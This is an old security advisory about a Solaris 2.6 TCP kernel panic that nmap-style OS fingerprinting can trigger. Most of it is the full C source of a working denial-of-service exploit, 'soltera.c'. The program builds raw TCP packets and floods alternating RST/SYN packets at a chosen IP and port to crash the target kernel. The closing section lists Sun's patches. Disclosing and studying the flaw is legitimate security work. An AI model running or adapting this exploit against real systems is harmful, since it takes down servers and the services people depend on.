COMMAND
TCP/IP
SYSTEMS AFFECTED
SunOS
PROBLEM
David Brumley found following. While ago he noticed nmap V 2.08
with OS fingerprinting (the -O option) could cause solaris kernel
panic. The trick is this. Select an active port to do an OS
fingerprint. Kill the server after doing a fingerprint. Solaris
will kernel panic. It doesn't matter what server you choose or
whether or not it's on a priviledged port. However, it must be
TCP.
The attack is troublesome because of the time differential between
the fingerprint and the kernel panic. You probably won't think
twice about the scan when the server dies and causes panic. This
was tested on Solaris 2.6 using a simple listen/accept server, as
well as with sendmail 8.9.3. On Solaris7 this seems to work too.
Original code was a little bit wrong. New one should compile on
any solaris box (with -DSOLARIS) and is a bit tuned. The
vulnerability seems to get triggered when you repeatedly send a
packet with rst flag and one with syn flag set:
/* soltera.c - (c) Sep 1999 by Mixter
* Local / Remote DoS against Solaris 2.6 (other versions?)
*
* Description: nmap fingerprint scans against any daemon that
* terminates right after the scans are able to produce a kernel
* panic on Solaris 2.6. (found by D.Brumley)
* Local exploit: this program will create, scan and kill a listening
* server. Just run it without arguments.
* Remote exploit: soltera <ip> <port> - this _might_ work for a
* service started again by inetd for every new session.
*
* cc -lnsl -lsocket -DSOLARIS soltera.c -o soltera
*
* +++ root priviledges are needed for the fingerprinting +++
*/
#define PORT 0xC0D3
#define REPEAT 255
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
void server (int);
void fakeosscan (u_long, int);
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
#define ANS "\x1b\x5b"
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_BOG 64
/* #define WINSIZ 1024 * (ih->ttl % 4 + 1) */
#define WINSIZ 2048
#ifdef SOLARIS
#include <sys/stream.h>
#include <sys/dlpi.h>
#include <sys/bufmod.h>
#include <netinet/ip_var.h>
#define htons(x) (x)
#define htonl(x) (x)
#define u_int8_t uint8_t
#define u_int16_t uint16_t
#define u_int32_t uint32_t
#endif
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix <bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4;
u_int8_t th_off:4;
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
/* u_int8_t th_off:4;
u_int8_t th_x2:4; */
#endif
u_int8_t th_flags;
u_int16_t th_win;
u_int16_t check;
u_int16_t th_urp;
};
u_short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
main (int ac, char **av)
{
int p = PORT, pid;
u_long ia;
if (ac < 2 || !(ia = inet_addr (av[1])))
{
printf (ANS "0;32m[using ip 127.0.0.1]\n");
ia = inet_addr ("127.0.0.1");
}
else
printf (ANS "0;32m[using ip %s]\n", av[1]);
if (ac >= 3)
if (atoi (av[2]))
p = atoi (av[2]);
printf (ANS "0;34m[using port %d]\n", p);
if (getuid ())
{
printf ("You need root to use fingerprinting locally...\n");
printf ("Listening as server only, hit CTRL+C to abort.\n");
for (;;) server(p);
}
pid = fork ();
if (!pid)
server (p);
sleep (3);
fakeosscan (ia, p);
if (kill (pid, SIGKILL) == -1)
printf (ANS "0;31mFAILED to kill server: %s\n", strerror (errno));
else
printf (ANS "0;31m[server (pid: %d) killed]\n", pid);
sleep (3);
fakeosscan (ia, p);
sleep (10);
printf (ANS "0;35m[all done]%s0;0m\n", ANS);
return 0;
}
void
server (int port)
{
int c, e = sizeof (struct sockaddr_in);
struct sockaddr_in l, r;
l.sin_family = AF_INET;
l.sin_port = htons (port);
l.sin_addr.s_addr = INADDR_ANY;
memset (l.sin_zero, 0, 8);
c = socket (AF_INET, SOCK_STREAM, 0);
bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
listen (c, 0xFF);
printf (ANS "1;33m[server listening on port %d]\n", port);
while (accept (c, (struct sockaddr *) &r, &e));
}
void
fakeosscan (u_long ip, int port)
{
int r = socket (AF_INET, SOCK_STREAM, 0), optlen = 20, i = 0;
int orig = getrandom (1024, 65534);
char synb[8192];
struct sockaddr_in sin;
struct iphdr *ih = (struct iphdr *) synb;
struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct iphdr));
u_long seq = random ();
char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
char *options = "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000";
printf (ANS "1;30m[initiating fingerprinting simulation on port %d]\n", port);
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = ip;
connect (r, (struct sockaddr *) &sin, sizeof (sin));
close (r);
r = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
ih->version = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->id = htons (random ());
ih->frag_off = 0;
ih->ttl = getrandom (0, 255);
ih->protocol = IPPROTO_TCP;
ih->check = 0;
ih->saddr = 0;
ih->daddr = ip;
th->source = htons (orig);
th->dest = htons (port);
th->seq = seq;
th->ack_seq = 0;
th->th_flags = 0;
th->th_win = htons (WINSIZ);
th->check = 0;
th->th_urp = 0;
memset (eoh, 0, 20);
memcpy (eoh, options, optlen);
/* packet 1 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_BOG | TH_SYN;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
(struct sockaddr *) &sin, sizeof (sin));
/* packet 2 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = 0;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 3 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_SYN | TH_FIN | TH_URG | TH_PUSH;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen,
0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 4 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_ACK;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 5 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_SYN;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 6 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_ACK;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* guess */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_FIN | TH_PUSH | TH_URG;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* we omit the udp stuff */
/* the actual mutex_enter exploit (rst/syn/rst/syn...) */
optlen = 0;
memset (eoh, 0, sizeof (options));
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_SYN;
for (i = 0; i <= REPEAT; i++)
{
if (i % 2)
{
th->th_flags = TH_SYN;
th->th_win = htons (WINSIZ);
}
else
{
th->th_flags = TH_RST;
th->th_win = 0;
}
th->source = orig + i;
th->seq = seq + i;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
usleep (31337);
}
close (r);
}
SOLUTION
David worked with Sun a while ago on this problem, and they have
released patch 105529-07 (for sparc) and 105530 (for x86).
According to the patch readme, the problem is with a recursive
mutex_enter on the TCP streams driver. No info about Solaris 7
patches. Solaris 8 beta is not vulnerable.
If you use nmap to scan your own network, use the -sT option to
do vanilla connect()'s so you don't kill your own servers.